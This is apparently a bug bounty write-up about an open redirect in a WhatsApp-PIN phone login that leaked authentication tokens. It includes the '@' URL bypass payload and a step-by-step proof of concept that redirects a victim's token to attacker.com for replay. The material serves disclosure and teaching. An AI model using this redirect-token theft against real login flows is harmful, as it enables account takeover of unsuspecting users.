From Open Redirect to Account Takeover
How a seemingly minor open redirect in a phone authentication flow chained into a potential critical account takeover via authentication token leakage.
TL;DR
A redirectTo parameter in a phone-based login flow lacked proper URL validation. After completing WhatsApp PIN authentication, the backend appended a temporary auth token to the redirect URL. By crafting a URL using the @ bypass technique, I was able to redirect that token to an attacker-controlled server — turning a low-severity open redirect into a potential account takeover.
The Authentication Flow
The target application used a phone-based login system that worked as follows:
- User submits their phone number
- A one-time PIN is delivered via WhatsApp
- User enters the PIN to verify ownership
- Backend issues a temporary authentication token
- User is redirected with the token appended as a query parameter
The redirect destination was controlled by a redirectTo parameter in the request — and that's where things got interesting.
Finding the Vulnerability
While testing the authentication flow in Burp Suite, I intercepted the PIN verification request:
POST /auth/phone/verify HTTP/1.1
Host: target.com
Content-Type: application/json
{
"phone": "+1234567890",
"pin": "123456",
"redirectTo": "https://app.target.com/dashboard"
}
After successful PIN entry, the server issued a redirect with the token attached:
HTTP/1.1 302 Found
Location: https://app.target.com/dashboard?token=eyJhbGciOiJIUzI1NiJ9...
The server was blindly appending a sensitive auth token to whatever URL redirectTo specified. If I could control where that redirect pointed, I could steal the token.
Bypassing the Validation
Replacing the domain directly with an attacker-controlled one was blocked:
redirectTo=https://evil.com/callback ❌ Blocked
The server appeared to validate that the URL contained the legitimate domain. So I tested the classic @ bypass:
redirectTo=https://app.target.com@evil.com/callback ✅ Allowed
In URL syntax, everything before @ is interpreted as credentials (username:password), and everything after is the actual destination host. A naive allowlist check that only looks for the string app.target.com inside the URL would pass this — but the browser navigates to evil.com.
The validation was checking for string containment instead of parsing the URL properly. This bypass worked.
Proof of Concept
Setup: A listener at https://attacker.com/callback (Burp Collaborator works for this).
Step 1 — Craft the malicious login link:
https://target.com/login?redirectTo=https://app.target.com@attacker.com/callback
Step 2 — Send the link to the victim. They click it and complete their normal login flow (phone number + WhatsApp PIN). No suspicious prompt — everything looks legitimate.
Step 3 — After successful authentication, the server issues a 302 to:
https://app.target.com@attacker.com/callback?token=eyJhbGciOiJIUzI1NiJ9...
Step 4 — The attacker's server logs the full request URL, capturing the token.
Step 5 — The attacker replays the token against the API and is now authenticated as the victim.
Impact
A successful exploit could allow an attacker to:
- Fully take over any account using phone-based authentication
- Access personal information linked to the account
- Perform actions as the victim depending on app permissions
- Enable financial fraud if the application handles payments
The main constraint is social engineering — the victim must click the crafted link and complete the authentication flow, which limits scalability.
CVSS Score
The program triager assigned Medium (6.8):
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
| Metric | Value | Reason |
|---|---|---|
| Attack Vector | Network | Exploitable remotely |
| Attack Complexity | High | Requires social engineering + specific conditions |
| Privileges Required | None | No account needed to craft the link |
| User Interaction | Required | Victim must click and complete authentication |
| Confidentiality | High | Full token exposure |
| Integrity | High | Full account compromise |
Key Takeaway
Open redirects are often dismissed as informational or low severity. This finding shows why that's a mistake — when an authentication flow passes tokens through the redirect URL, the open redirect becomes a stepping stone to a full account takeover. Always follow the token.
Back to writeups